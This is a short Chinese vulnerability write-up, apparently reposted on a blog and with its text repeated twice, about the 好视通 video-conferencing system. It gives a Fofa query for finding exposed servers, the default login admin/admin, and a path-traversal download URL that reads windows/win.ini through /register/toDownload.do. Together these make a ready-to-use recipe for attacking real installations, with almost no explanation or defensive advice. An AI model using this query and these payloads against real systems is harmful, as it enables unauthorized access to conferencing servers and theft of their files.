描述
系统存在弱口令和任意文件下载漏洞
Fofa
app="好视通-视频会议"
弱口令
POC
admin/admin
登录界面
登录成功
任意文件下载
POC
/register/toDownload.do?fileName=敏感文件路径
(https://xxxxxx/register/toDownload.do?fileName=../../../../../../../../../../../../../../windows/win.ini)
系统存在弱口令和任意文件下载漏洞
app="好视通-视频会议"
POC
admin/admin
登录界面
登录成功
POC
/register/toDownload.do?fileName=敏感文件路径
(https://xxxxxx/register/toDownload.do?fileName=../../../../../../../../../../../../../../windows/win.ini)
本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。